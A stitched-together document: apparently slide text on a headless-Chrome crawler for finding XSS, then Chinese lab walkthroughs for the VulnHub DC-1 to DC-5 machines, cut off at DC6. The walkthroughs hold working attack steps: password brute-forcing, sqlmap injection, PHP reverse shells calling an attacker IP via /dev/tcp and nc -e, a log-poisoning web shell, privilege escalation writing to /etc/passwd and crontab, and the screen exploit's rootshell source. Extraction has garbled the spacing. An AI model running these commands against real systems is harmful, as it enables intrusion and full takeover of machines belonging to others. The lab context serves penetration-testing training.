libXtst.x86_64,cups-libs.x86_64,libXScrnSaver.x86_64,libXrandr.x86_64,GConf2.x86_64,alsa- lib.x86_64,atk.x86_64,gtk3.x86_64 1 2 $,git,clone,https://github.com/scheib/chromium-latest-linux, $,cd,chromium-latest-linux, $,./update.sh, $,nohup,./latest/chrome,--headless,--disable-gpu,--remote-debugging-port=9222,, --remote-debugging-address=0.0.0.0,--disable-web-security,--disable-xss-auditor,, --no-sandbox,--disable-setuid-sandbox,& 3 4 DevTools listening on web socket http://{server}:9222/json/version Chrome Headless 命令⾏行行参数 选项 列列表 https://peter.sh/experiments/chromium-command-line-switches/ DOM WEB 2.0 爬⾍虫实践基础 BOM | DOM | CDP HTML DOM CORE DOM window) Browser,Object,Model window.document, Document,Object,Model BOM) • window.open(‘https://aliyun.com'), • alert(location.href) • alert(document.cookie), • alert(document.title) import,asyncio, from,pyppeteer,import,launch, async,def,main():, ,,,,browser,=,await,connect({'browserWSEndpoint':,'{webSocketDebuggerUrl}'}), ,,,,page,=,await,browser.newPage(), ,,,,await,page.goto('https://xz.aliyun.com/');, asyncio.get_event_loop().run_until_complete(main()) CDP) Chrome,DevTools,Protocol webSocketDebuggerUrl : http://127.0.0.1:9222/json/version CDP - Chrome DevTools Protocol 原理理剖析 1 打开主进程,启动CDP Socket Server服务 2 创建 websocket 连接 DevTools websocket_url,=,'ws://0.0.0.0:9222/devtools'
 websocket.create_connection(websocket_url,,enable_multithread=True) 3 创建⼀一个浏览器器的新标签⻚页⾯面 command,=,{, ,,,,"method":,"Target.createTarget",,"params":,{u'url':,u'about:blank'}, } 4 申请⼀一个⾮非共享空间的新标签⻚页⾯面 command,=,{"method":,"Target.createBrowserContext"} 5 利利⽤用导航条功能打开特定⽹网站 command,=,{, ,,,,"method":,"Page.navigate",, ,,,,"params":,{"url":,"https://xz.aliyun.com"}, } 6 CDP提供WebShell级别的完美API操控 • Page.getCookies, • Page.captureScreenshot, • Page.printToPDF Chrome DevTools Protocol Viewer https://chromedevtools.github.io/devtools-protocol/tot/Page pyppeteer Chromium 初体验:精准便便捷的挖掘反射/DOM XSS漏漏洞洞 ① <script>xianzhi(3.1415926535)</script>, ② <xianzhi></xianzhi>, ③ test"onmouseover=xianzhi(3.14)", ④ 123"onfocus=xianzhi(3.14),autofocus=" import,asyncio, from,pyppeteer,import,launch, payload,=,'<script>xianzhi(3.1415926535)</script>', url,=,'http://210.158.41.67/MCIR/xssmh/xss.php? location=body&inject_string={payload}&submit=Inject'.format(payload=payload), def,xss_auditor(url,,message):, ,,,,if,message,==,3.1415926535:, ,,,,,,,,print('xss_auditor_found:',,payload), ,,,,,,,,print(url), async,def,main():, ,,,,browser,=,await,launch(headless=False,,args=['--disable-xss-auditor']), ,,,,page,=,await,browser.newPage(), ,,,,await,page.exposeFunction(, ,,,,,,,,'xianzhi',,lambda,message:,xss_auditor(url,,message), ,,,,), ,,,,await,page.goto(url), ,,,,await,page.close(), asyncio.get_event_loop().run_until_complete(main()) • await,page.$('xianzhi'),!=,null, • document.getElementsByTagName('xianzhi') http://210.158.41.67/MCIR/xssmh/xss.php?inject_string=payload OWASP Broken Web Applications Project HOOK 函数验证 PAYLOAD LIST “基于历史经验和已知场景,构造并实现规则的爬⾍虫。” 什什么是启发式爬⾍虫? Schedule & EventLoop Manager 启发式爬⾍虫最佳实践:任务调度及事件管理理流程 networkidle2 readystatechange DOMContentLoaded Node.prototype.addEventListener window.addEventListener XMLHttpRequest.prototype.open XMLHttpRequest.prototype.send Node.prototype.appendChild Node.prototype.insertBefore Node.prototype.replaceChild window.WebSocket; window.setTimeout; window.setInterval;
 window.open; window.close; HTMLFormElement.prototype.submit DOM3 DOMNodeInserted DOM4 MutationObserver TreeWalker document.all document.forms element.setValue element.setAttribute this.dispatchEvent 结果去重 ⻚页⾯面加载:什什么时候开始注⼊入代码 等待⻚页⾯面加载完成 networkidle2 等待⽹网络状态为空闲的时候才继续执⾏行行 DOM树解析完成 DOMContentLoaded 初始DOM,加载并解析完成 • document.readystatechange, • document.readyState,===,"complete" ⻚页⾯面内容加载完成 page load page.once('load', () => {}); ① window.open();, ② window.location,=,"/123";, ③ window.location,=,"/456"; 请求拦截:解决⻚页⾯面被意外跳转和关闭 参考:https://crxdoc-zh.appspot.com/extensions/webRequest chrome.tabs.onCreated.addListener, chrome.tabs.onUpdated.addListener
 chrome.webRequest.onBeforeRequest.addListener();, return,{redirectUrl:,'javascript:void(0)'}; 插件拦截⽹网络请求 • --load-extension=./xianzhi_ext/, • --disable-extensions-except=./xianzhi_ext/ 启⽤用插件选项 Chromium 函数劫持:⻚页⾯面控制及超时阻塞 //,alert/confirm/prompt, page.on('dialog',,dialog,=>,{,dialog.accept(),});, page.on('framenavigated',,frameTo,=>,{, ,,console.log(frameTo.url()), });, window.close,=,function(),{};, window.open,=,function(url),{,console.log(url);,};, window.__originalSetTimeout,=,window.setTimeout;, window.setTimeout,=,function(),{, ,,,,arguments[1],=,0;, ,,,,return,window.__originalSetTimeout.apply(this,,arguments);, };, window.__originalSetInterval,=,window.setInterval;, window.setInterval,=,function(),{, ,,,,arguments[1],=,0;, ,,,,return,window.__originalSetInterval.apply(this,,arguments);, };, • framenavigated, • alert(), • confirm(), • prompt(), • window.close, • window.setTimeout, • window.setInterval • 弹框) • 新⻚页⾯面打开) • 超时阻塞等待 函数劫持:捕获AJAX的请求信息 XMLHttpRequest.prototype.__originalOpen,=,XMLHttpRequest.prototype.open;, XMLHttpRequest.prototype.open,=,function(method,,url,,async,,user,,password),{, ,,//,hook,code, ,,return,this.__originalOpen(method,,url,,async,,user,,password);, }
 XMLHttpRequest.prototype.__originalSend,=,XMLHttpRequest.prototype.send;, XMLHttpRequest.prototype.send,=,function(data),{, ,,//,hook,code, ,,return,this.__originalSend(data);, } 劫持原⽣生类 XMLHttpRequest 启⽤用请求拦截过滤处理理 await,page.setRequestInterception(true);
 page.on('request',,request,=>,{, ,,console.log(request.url());, ,,request.continue();, }); await,page.goto('http://demo.aisec.cn/demo/aisec/');
 >)http://demo.aisec.cn/demo/aisec/, >)http://demo.aisec.cn/demo/aisec/ajax_link.php?id=1&t=0.255~, >)http://demo.aisec.cn/favicon.ico 事件监听:获取新增绑定事件变更更信息 _addEventListener,=,Element.prototype.addEventListener;, Element.prototype.addEventListener,=,function(),{, ,,console.log(arguments,,this), ,,_addEventListener.apply(this,,arguments);, };, window.__originalAddEventListener,=,window.addEventListener;, window.addEventListener,=,function(),{, ,,console.log(arguments,,this), ,,window.__originalAddEventListener.apply(this,,arguments);, }; //,<button,id="y">TEST</button>
 y.addEventListener('click',,function,(elment),{,, ,,console.log(elment);, },,false); 参考:https://developer.mozilla.org/zh-CN/docs/Web/API/EventTarget/addEventListener “JavaScript中绑定事件, 均需要调⽤用 addEventListener函数。” W3C DOM 规范中提供的注册事件监听器器 TEST addEventListener var,observer,=,new,WebKitMutationObserver(function(mutations,){, ,,console.log('eventLoop,nodesMutated:',,mutations.length);, ,,mutations.forEach(function,(mutation),{, ,,,,if,(mutation.type,===,'childList'),{, ,,,,,,for,(let,i,=,0;,i,<,mutation.addedNodes.length;,i++),{, ,,,,,,,,let,addedNode,=,mutation.addedNodes[i];, ,,,,,,,,console.log('Node,added:',,addedNode.nodeType,,mutation.addedNodes[i]);, ,,,,,,}, ,,,,},else,if,(mutation.type,===,'attributes'),{, ,,,,,,let,element,=,mutation.target;, ,,,,,,var,element_val,=,element.getAttribute(mutation.attributeName), ,,,,,,console.log(mutation.attributeName,,'->',,element_val), ,,,,}, ,,});, });, observer.observe(window.document.documentElement,,{, ,,childList:,true,, ,,attributes:,true,, ,,characterData:,false,, ,,subtree:,true,, ,,characterDataOldValue:,false,, ,,attributeFilter:,['src',,'href'],, }); 参考:http://javascript.ruanyifeng.com/dom/mutationobserver.html DOMNodeInserted 事件监听:获取事件被触发后的节点属性变更更信息 “DOM4新增的 MutationObserver⽅方 法,可监控⻚页⾯面中节点 属性发⽣生改变时的细 节。” W3C DOM4 W3C DOM3 遍历节点及事件:DOM节点属性和绑定事件 nodes,=,document.all;, for(j,=,0;j,<,nodes.length;,j++),{, ,,attrs,=,nodes[j].attributes;, ,,for(k=0;,k<attrs.length;,k++),{, ,,,,if,(attrs[k].nodeName.startsWith('on')),{, ,,,,,,console.log(attrs[k].nodeName,,attrs[k].nodeValue);, ,,,,}, ,,}, } var,treeWalker,=,document.createTreeWalker(, ,,document.body,, ,,NodeFilter.SHOW_ELEMENT,, ,,{,acceptNode:,function(node),{,return,NodeFilter.FILTER_ACCEPT;,},},, ,,false, );, while(treeWalker.nextNode()),{, ,,var,element,=,treeWalker.currentNode, ,,console.log(element);, ,,if,(element.nodeName.startsWith('on')),{, ,,,,console.log(element.nodeName,,element.nodeValue);, ,,}, }; 参考:https://developer.mozilla.org/zh-CN/docs/Web/API/Document/createTreeWalker “⻚页⾯面加载完成后,渲染引擎完 成DOM、CSSOM的渲染,⽹网 ⻚页所有节点元素及事件注册就 绪。” document.all document.createTreeWalker var,lnks,=,['src','href','action'], lnks.includes(attrs[k].nodeName) 链接信息 触发节点上已绑定的事件信息 button select input a textarea span td tr div click change change click change click click click click dblclick click click dblclick click mouseup mouseup mouseup mouseup keyup keyup blur keyup blur mousedown mousedown mousedown mousedown keydown keydown focus keydown focus scroll mouseup mouseup keyup mouseup keyup mousedown mousedown keydown mousedown keydown mouseup mouseup mousedown mousedown ⽹网⻚页新闻滚动分⻚页 弹框供⽤用户选择选项 后台定时刷新数据 • 获取事件类型 • 选择节点对象 • 触发事件 var,evt,=,document.createEvent("MouseEvents");, evt.initMouseEvent("click",,true,,true,,window,, ,,0,,0,,0,,0,,0,,false,,false,,false,,false,,0,,null); 模拟⼈人类的⿏鼠标移动、点击 //,<button,id="elem",onclick="alert('Click!');">Click</button>, let,event,=,new,Event("click");, elem.dispatchEvent(event);, ,,, for(var,i=0;i<elem.attributes.length;i++){, ,,var,element,=,elem.attributes[i], ,,if,(element.nodeName.startsWith('on')),{, ,,,,console.log(element.nodeName);, ,,,,eval(element.nodeValue);, ,,}, } 触发节点上已绑定的事件信息 • dispatchEvent() • 简单粗暴暴执⾏行行 eval() nodeName = nodeValue 表单参数名称 遍历表单:获取参数信息 信息输⼊入 text search 空名称 静默处理理 button hidden submit file 点选框 radio checkbox 数字区间 range number 时间 datetime-local HTML5 password color date email month time url week tel for(var,i=0;i<document.forms.length;i++){, ,,form,=,document.forms[i];, ,,console.log(form.method,,form.action), ,,for(var,j=0;j<form.length;j++){, ,,,,input,=,form[j];, ,,,,console.log(input.nodeName,,input.type,,input.name);, ,,}, } http://demo.aisec.cn/demo/aisec/login2.php username) uname) name password
 passwd) pass email) mail
 loginid document.forms 填充表单:⾃自动设置参数值 • ⾃自动识别参数⻓长度 letters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' numbers = '0123456789' symbols = '!^;.,?%$*#' months = ['01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12'] years = ['1985', '1988', '1990', ‘1992', '1995', '1996'] names = ['王', '李李', '张', '刘', '陈', '杨', '⻩黄', '周', '赵', '吴', '孙', '徐', '林林', '胡', '朱', '郭', '梁梁', '⻢马', '⾼高', '何'] surnames = ['娜', '敏敏', '静', '丽', '强', '磊磊', '洋', '军', '杰', '芳', '勇', '睿', '宇', '翔', '宥', '品', '彤', '希', '晴'] names_en = ['wang','li','zhang','liu','chen','yang','huang','zhou','zhao','wu','sun','xu','lin','hu','zhu','guo','liang','ma','gao','he'] surnames_en = ['na','min','jing','li','qiang','lei','yang','jun','jie','fang','yong','rui','yu','xiang','you','pin','tong','xi','qing'] address = ['⼴广东省⼴广州市','北北京市朝阳区','浙江省杭州市','上海海市浦东新区'] domains = ['.com', '.org', '.net', '.cn', '.edu', '.gov.cn'] mail|email {names_en}+{surnames_en}+{random}+{domains} ((number)|(phone))|(^tel) '13'+{random}{9} (date)|(birth) {years}+{month}+{random} ((month)|(day))|(^mon$) {years}+{month}+{random} url|website|blog 'http://www.'+{random}+{domains} username|uname {names}+{surnames} element.setValue('{value}') element.setAttribute('checked') • 基于名称映射⽣生成组合参数值 max-length, min-length DEMO 下载链接 
 https://github.com/ring04h/papers/blob/master/ xianzhi_crawler_demo.mov var,context,=,await,browser.createIncognitoBrowserContext();, var,page,=,await,context.newPage();, await,page.goto('http://mail.aliyun.com');, var,cookies,=,await,page.cookies();, console.log(cookies), await,page.close();, await,context.close(); 2017年年7⽉月17⽇日 
 Support browser contexts to launch different sessions #85 • https://github.com/GoogleChrome/puppeteer/issues/85 • https://github.com/miyakogi/pyppeteer/issues/44 23 天前 browser.createIncognitoBrowserContext(),, • to,create,new,incognito,context
 browser.browserContexts(), • to,get,all,existing,contexts
 browserContext.dispose(), • to,dispose,incognito,context. 隐身模式 TIPS:保持各个请求会话 SESSION 独⽴立不不受⼲干扰 import,ast, def,var(x):, ,,,,try:, ,,,,,,,,if,not,isinstance(x,,str):, ,,,,,,,,,,,,x,=,str(x), ,,,,,,,,return,ast.literal_eval(x), ,,,,except:, ,,,,,,,,try:, ,,,,,,,,,,,,x,=,x.replace('\'',,"\\'"), ,,,,,,,,,,,,return,ast.literal_eval("'{0}'".format(x)), ,,,,,,,,except:, ,,,,,,,,,,,,return,'xz', In,[10]:,type(var('123')), Out[10]:,int, In,[11]:,type(var('News')), Out[11]:,str 孤⽴立数字出现的情况,90%是动态参数 从URL中分离出 静态/动态 参数
 动态参数就是攻击⼊入⼝口 https://tsrc.com/index.php/blog/msg/34 数据类型相似, ⻓长度⼀一致(md5 uuid hash) /about.htm?profileId=f30dc1ad-4b53-4fb7-a1e0-adcd2c /about.htm?profileId=17ac5a75-9469-49a1-bf7d-52da38 http://www.discuz.net/thread-3841114-1-1.html http://www.discuz.net/{str:6}-{int:7}-{int:1}-{int:1}.html 抽象语法树:伪静态 HASH化去重做出现频次统计,反向排除 http://xz.aliyun.com/show/id/123
 http://xz.aliyun.com/show/id/456 http://xz.aliyun.com/show/id/789 • http://xz.aliyun.com/{}/id/123 • http://xz.aliyun.com/show/{}/123 • http://xz.aliyun.com/show/id/{} “ AST | HASH ” TIPS:基于开发经验和MVC框架开发原则的去重技术 Q&A 正则表达式能解决的问题 就不不要HACK底层了了
pdf
本文内容来自Gu师傅的博客: http://hackergu.com/ 挑选了几个比较有代表性的靶机,来捋一下渗透思路。 DC1 靶机下载地址: https://www.vulnhub.com/entry/dc-1,292/ 渗透思路: 信息收集:主机发现和端口扫描 漏洞利用:Drupal CMS GetShell 权限提升:SUID提权 信息收集 主机发现 基于ARP arp 可以轻易bypass掉各类应用层防火墙,除非是专业的 arp 防火墙。 基于ICMP 端口扫描(服务探测) nmap 在扫描的过程中,使用了 nmap 的 vuln 脚本,这个脚本用于检测目标主机是否有常见的漏洞。 扫描结果太长就不贴了,关键信息是目标开放了80端口,打开是一个 Drupal 7 的网站。 写一些小拓展 我们可以在谷歌中使用Google Hack,大量查找 Drupal 的网站,语法为 inurl:"q=user/password" 我们在实战中为快速得知 Drupal 的版本,我们可以在 robots.txt 中查找 MAINTAINERS.txt 文件,该 文件中会泄露版本号。 sudo netdiscover -r 192.168.234.0/16 -i eth0 #Linux arp-scan.exe -t 192.168.234.0/24 #Windows for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.234.%I | findstr "TTL=" nmap -T4 -Pn -A 192.168.234.176 --script=vuln #-T4 设置扫描时序,时序越高速度越快,最高为4 #-Pn 不使用ping,目标防火墙禁止ping的时候用 漏洞利用 我们在kali中使用 searchsploit 对 drupal 进行查找可以利用的漏洞 searchsploit: https://github.com/offensive-security/exploitdb 在 searchsploit 的结果中看到几个漏洞可以通过 MSF 进行利用,打开 MSF 搜寻exp。 searchsploit Drupal 我们的目标网站刚好处在可利用范围内 目标机器上线,漏洞利用成功。 exp设置要注意几点 通常我们的web服务都是搭建在80端口,所以该exp默认帮我们填写了80端口。 如果该web服务不在80端口而在888端口,则我们需要将端口设置为888。 另外关于 targeturi ,如果该 CMS 在搭建在 /abc 目录下,则需要设置 targeturi 为 /abc 。 寻找Flag Flag1 use 4 info #查看exp详细的信息 meterpreter> ls #查看文件列表,找到Flag1 meterpreter> cat Flag1.txt 显而易见,就是让我们寻找web的配置文件 Flag2 cat web.config ,发现啥也没有。忽然想起是CMS的配置文件。 然后,查找了一番,最终确定要找的配置文件为 www/sites/default 中的settings.php 提示:暴力和字典攻击并不是获得访问权限的唯一方法(而且您需要访问权限)。你能用这些凭 证做什么? 给出了MySQL的账号密码,当然是先去登录啊 Flag3 利用python获取交互Shell python -c '__import__("pty").spawn("/bin/bash")' 登录MySQL 我们最关注的应该就属user表了,所以直奔主题 在 flag2 中提示到,破解不是唯一的办法。 在这里我们可以直接利用update修改 admin 的密码,但由于该密码是加密的,所以我们也需要找到相 对应的 加密脚本 。 最终在网站根目录下的 scripts目录 中找到了加密脚本 password-hash.sh 。 这里遇到了点小问题,怎么加密也不成功,结果在用法里发现 mysql -u dbuser -p 若不是以root权限运行脚本,则需要从网站的根目录去进行调用 ./scripts/password-hash.sh "admin" 得到 $S$D9vVemNX8fwUjNNOyw/ZcvWaPH7LeE5FNO.cf5EjDKqCzref/wA2 登录MySQL,跟新管理员密码 以新密码登录 admin 账号,找到 flag3 Flag4 在摸索hash脚本的时候无意发现的,按照常理的话,/etc/passwd中也可发现。 位于 /home 目录下 提示我们需要进行提权,才能得到 flag5 。 update users set pass='$S$D9vVemNX8fwUjNNOyw/ZcvWaPH7LeE5FNO.cf5EjDKqCzref/wA2' where uid=1; 权限提升(Flag5) flag3中的提示,使用 -exec ,可以利用SUID提权。 SUID 是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行(ls 查看时有 s 属 性才支持 SUID)。 以下命令可以找到正在系统上运行的所有 SUID 可执行文件 最终发现了find 参照这个列表(有很多程序的提权方法):https://gtfobins.github.io/ 现在已经到手root权限,靶机完成。 &Flag3另外一种方法 find / -user root -perm -4000 -print 2>/dev/null #随便新建一个文件,或利用已有文件 touch abc #以SUID即root权限执行命令 find abc -exec whomai \; 在 searchsploit 的查询结果中,发现了 我们可以利用此脚本,再给其添加一个管理员以查看flag3. DC2 靶机下载地址: https://www.vulnhub.com/entry/dc-2,311/ 渗透思路: 信息收集:主机发现和端口扫描 漏洞利用:Wordpress漏洞利用(Cewl、Wpscan、绕过rbash) 权限提升:git提权 信息收集 信息收集的过程与 DC1 类似,不再复述。 nmap扫描结果可以看到目标主机开了80端口,我们直接使用IP访问。 发现不可以访问,并且返回 http://dc-2/ 这个地方呢,我们需要修改hosts文件,实现本地域名解析。 hosts文件地址: C:\Windows\System32\drivers\etc\hosts 修改如下即可: IP+[空格]+域名 python 34992.py -t http://192.168.234.176/ -u admin123 -p admin123 现在我们就可以成功访问了,是一个 Wordpress 站点。 Flag1 Flag1就在首页~~ Flag1告诉我们要使用工具Cewl,该工具是Kali Linux自带的字典生成工具。 漏洞利用 Flag2(Cewl+Wpscan) Cewl生成密码字典 对网站进行爬取,并生成密码保存在当前目录下的 dict.txt 文件中 cewl -v http://dc-2/ -w dict.txt 紧接着开始密码爆破,本以为admin就可以的,没想到无果。这是一个Wordpress站点,我们可以使用 wpscan 扫描站点的用户 利用Wpscan爆破密码 关于 Wpscan 的教程,还是得使用命令 wpscan --hh 查看所有的用法,因为 Wpscan 会更新,网上的教 程不一定合适了。 最后,爆破结果 在jerry账户的文章里发现了Flag2: wpscan --url http://dc-2/ --enumerate u #枚举网站用户(结果:admin,jerry,tom) wpscan --url http://dc-2/ --passwords /root/dict.txt --usernames admin,jerry,tom #爆破密码 #另外还有两个常用的命令 wpscan --url http://dc-2/ --enumerate vp #扫描插件中的漏洞 wpscan --url http://dc-2/ --enumerate vt #扫描主题中的漏洞 [+] Performing password attack on Xmlrpc against 3 user/s [SUCCESS] - jerry / adipiscing [SUCCESS] - tom / parturient   Flag2的提示:如果你不能利用WordPress并抄近路,还有别的办法。希望你能找到另一个切入 点。 Flag3&Flag4(rbash绕过) 根据Flag2的提示,也就是说我们得另想一个办法,不能只从wordpress下手。 想到扫描的端口中,只开放了80端口,感觉有点不大对,感觉肯定隐藏了一些端口,于是我再用Nmap 全扫一遍。 发现了7744端口,是个ssh服务。使用爆破出来的Wordpress账号登录SSH(密码复用)。 就在当前目录下,执行 ls ,发现了Flag3,利用cat查看 flag3.txt ,却报错。 什么是rbash? 受限shell是Linux_Shell限制一些bash shell中的功能,并且是从名字上很清楚。 该限制很好地实现了命令以及脚本在受限shell中运行。 它为Linux中的bash shell提供了一个额外的安 全层。 但是rbash禁用了vim,没有禁用vi,于是我就用vi打开了,得到flag3: Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes. 可怜的老汤姆老是追杰瑞。也许他应该为他造成的所有压力负责。 也许我们需要利用jerry的账号进行提权. 然后用破解的jerry账号密码登录,发现登不上。。。 结果只好返回tom账号了,尝试切换账号,发现真的是啥也运行不了。 绕过rbash nmap -T4 -A -p 1-65535 192.168.234.177 tom@DC-2:~$ cat flag3.txt -rbash: cat: command not found 此时,我们可以使用任何命令了 权限提升 Flag5 flag4中给了提示,要使用 git 进行提权。 使用 sudo -l 查看用户权限 发现tom没有这个权限,那么就切换到 jerry 用户。 使用破解的jerry账号和密码,切换到了jerry用户,再次使用 sudo -l 意为 jerry 用户可以在没有root密码的情况下以root权限运行git vi :set shell=/bin/bash #输入完之后回车,然后再输入下一行 :shell #输入完再回车 #...........................此时已经从vi界面返回到命令行界面了,再输入 export PATH=/bin:/usr/bin:$PATH export SHELL=/bin/bash:$SHELL #绕过成功 tom@DC-2:/$ cd home tom@DC-2:/home$ ls jerry tom tom@DC-2:/home$ cd jerry tom@DC-2:/home/jerry$ ls flag4.txt tom@DC-2:/home/jerry$ cat flag4.txt Good to see that you've made it this far - but you're not home yet. You still need to get the final flag (the only flag that really counts!!!).   No hints here - you're on your own now. :-) Go on - git outta here!!!! tom@DC-2:/home/jerry$ su jerry jerry@DC-2:~$ sudo -l User jerry may run the following commands on DC-2:   (root) NOPASSWD: /usr/bin/git 最后Cat查看即可。 DC3 靶机下载地址: https://www.vulnhub.com/entry/dc-32,312/ 渗透思路: 信息收集:主机发现和端口扫描 漏洞利用:Joomla 3.7 SQL注入( CVE-2017-8917 )、反弹shell 权限提升:Linux拒绝服务漏洞提权( CVE-2016-4557 ) 信息收集 主机发现 DC-3靶机的配置过程中出现了一点点的小问题,靶机一直寻找不到IP地址。 看了网上大佬的解释,应该是网卡不匹配的原因。 于是利用linux系统的拯救模式修改了网卡的配置信息,重启网卡,重启机器便获得了靶机的IP地址。 利用 netdiscover 命令发现目标机器为 192.168.234.178 端口扫描 由扫描的结果可知,目标机器只开启了80端口。使用的CMS为 Joomla ,存在注入漏洞,CVE-2017- 8917。 漏洞利用 网上查一下可知 CVE-2017-8917 这是一个Joomla 3.7的SQL注入漏洞。 利用方法很多,可以用Github上额EXP打,或者直接SQLmap一把梭。 看到了 #__users ,像这种带特殊符号的表,查询列的时候要带单引号''。 jerry@DC-2:~$ sudo git -p #以分页的形式展示git的帮助信息 !/bin/sh      #在冒号后输入这个,获取一个交互shell。 # whoami root # ls /root final-flag.txt nmap -T4 -A 192.168.234.178 --script=vuln sqlmap -u "http://192.168.234.178/index.php? option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -- risk=3 --level=5 --random-agent --dbs -p list[fullordering] 查询列名 最后看到有了username和password就好说了,直接dump 利用 john 破解密码,最后得出密码为 snoopy 。 登录网站网站的主界面告诉我们,此网站只有一个flag,而且我们必须获得root权限才可以获得flag。 不管了,开干! sqlmap -u "http://192.168.234.178/index.php? option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -- risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering] +----------+--------------------------------------------------------------+ | username | password                                                     | +----------+--------------------------------------------------------------+ | admin   | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu | +----------+--------------------------------------------------------------+ 把网站翻了一遍也没找到可以利用的地方,还是找后台吧。利用kali自带工具 dirb ( dirmap、 dirsearch 也很好用) 找到了后台地址http://192.168.234.178/administrator/,登录上去。 GetShell 这个CMS就和Wordpress很像,找到其模板编辑位置,修改模板文件就可以利用。 在这里,想到的是利用php写一个反弹shell。我们先找到编辑模板的位置,如下: 编辑文件 index.php dirb http://192.168.234.178/ <?php system("bash -c 'bash -i >& /dev/tcp/192.168.234.151/7777 0>&1' "); ?> 保存之后,我们在kali中开启监听。 待监听好之后,我们访问 index.php 即可。 现在我们拿到shell了,再用python获取交互shell。 权限提升 查找带suid权限的文件 但是发现没有可以利用的。可能这次考察的内核提权,利用命令 uname -a ,查看linux的内核。 再利用 searchsploit 去查找exp,结果尝试都没成功。 看了大佬的文章,才知道利用的是 Linux拒绝服务漏洞 进行提权。 Exploit:https://www.exploit-db.com/exploits/39772 直接使用 wget 下载到目标机,然后解压使用 nc -lvp 7777 python -c 'import pty;pty.spawn("/bin/bash")' find / -user root -perm -4000 -print 2>/dev/null 本次完成靶机的过程比较艰难,第一次看这种内核提权,还是得多涨点经验。 DC4 靶机下载地址: https://www.vulnhub.com/entry/dc-4,313/ 渗透思路: 信息收集:主机发现和端口扫描、暴力破解 漏洞利用:命令执行 GetShell 权限提升:写入Hash(/etc/passwd)、crontab计划任务提权 信息收集 使用 netdiscover ,发现机器 192.168.234.179 nmap端口扫描,发现开启80和22端口,先访问Web服务。 网站页面上很干净,没有其他的东西,让我想起两方面: 1、暴力破解 2、目录扫描 使用 dirsearch 脚本对其进行目录扫描,但是什么也没有发现。 wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin- sploits/39772.zip #下载出错的话可以先用浏览器下载到本地,起个HTTP服务来提供下载 unzip 39772.zip #解压 cd 39772 tar -xf exploit.tar cd ebpf* sh compile.sh #编译源码 ./doubleput #执行提权脚本 #执行完看下ID已经是root了 cat /root/*flag* #最后找到Flag 那么只剩下暴力破解了,根据页面内容,猜测账号为 admin 。 使用工具 Hydra 进行破解,得到账号密码, admin/happy 。 这里我使用的是Hydra的图形版 xHydra 此处的字典为 /usr/share/wordlists/rockyou.txt 如果第一次使用该字典,需用使用 gunzip rockyou.txt.gz ,对密码字典压缩包进行解压。 此处为目标的url,冒号之后的内容为POST提交的固定格式。 漏洞利用 命令执行 用爆破的密码登录进去,发现命令执行漏洞。 接着用Burp抓包,反弹Shell /login.php:username=^USER^&password=^PASS^:S=logout 本地nc监听,并用python获取交互bash 权限提升 翻到用户家目录 /home/jim/backups ,发现了一个 old-passwords.bak 。 把其中内容当作字典, hydra 爆破得到 jim 用户的密码 jibril04 登录SSH后,发现一封来自 root 的邮件。 nc -lvp 7777 python -c 'import pty;pty.spawn("/bin/bash")' hydra -l jim -P passwd.txt -t 50 192.168.234.179 ssh jim@dc-4:~$ cat mbox # jim@dc-4:~$ cat /var/mail/jim Linux中邮件存放在 /var/mail 中 得到了 Charles/^xHhA&hvim0y ,随后切换用户。 使用命令 sudo -l 查看权限 发现可以在没有root密码的情况下,执行 teehee 方法一、直接写入Hash jim@dc-4:~$ cat /var/mail/jim echo "hackergu::0:0:::/bin/bash" | sudo teehee -a /etc/passwd #[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell] 方法二、crontab计划任务 最后查看Flag DC5 靶机下载地址: https://www.vulnhub.com/entry/dc-5,314/ 渗透思路: 信息收集:主机发现和端口扫描 漏洞利用:文件包含GetShell 权限提升:SUID提权(screen 4.5.0) 信息收集 利用 netdiscover 发现主机, 192.168.203.130 nmap扫描发现80端口,查看网站,目录扫描,无果。 唯一有交互的就是网站的 Contact 部分 echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab #时间全部写*,代表一分钟执行一次。 #将/bin/sh的权限修改为4777,可以在非root用户下执行它,并且执行期间拥有root权限 cat /root/flag.txt 这里我们可以提交一些内容,当我们提交一个内容之后,会跳转到 thankyou.php 。 每当我们刷新一次,最底下的 Copyright 就会变化一次。判断应该是文件包含漏洞。 漏洞利用 thankyou.php 存在文件包含,验证漏洞 通过谷歌浏览器的插件,得知中间件为Nginx 所以我们可利用 nginx 的日志功能,将错误信息写入日志,GetShell。 直接在url中访问,GetShell: <?php system($_GET['cmd']);?> http://192.168.203.130/thankyou.php?file=/var/log/nginx/access.log&cmd=nc 192.168.203.129 7777 -e /bin/bash 权限提升 查找SUID权限程序 发现一个screen。 利用 searchsploit 寻找一下exp: 主要看一下 41154.sh : 按照说明,我们需要将: find / -user root -perm -4000 -print 2>/dev/null 保存为 libhax.c 。 将: 保存为 rootshell.c 然后编译: 使用 wget 命令,将上述两个编译好的文件置入目标服务器的 /tmp 目录下: 然后继续在目标机器上执行脚本中剩下的命令: 最终再返回 /tmp 中执行rootshell,即可获取root的shell。 #include <stdio.h> #include <sys/types.h> #include <unistd.h> __attribute__ ((__constructor__)) void dropshell(void){    chown("/tmp/rootshell", 0, 0);    chmod("/tmp/rootshell", 04755);    unlink("/etc/ld.so.preload");    printf("[+] done!\n"); } #include <stdio.h> int main(void){    setuid(0);    setgid(0);    seteuid(0);    setegid(0);    execvp("/bin/sh", NULL, NULL); } gcc -fPIC -shared -ldl libhax.c -o libhax.so gcc rootshell.c -o rootshell www-data@dc-5:/tmp$ wget 192.168.203.129:8080/libhax.so www-data@dc-5:/tmp$ wget http://192.168.203.129:8080/rootshell cd /etc umask 000 # because screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed echo "[+] Triggering..." screen -ls # screen itself is setuid, so... ./tmp/rootshell # whoami whoami root 最后去/root目录查看Flag即可 DC6 靶机下载地址: 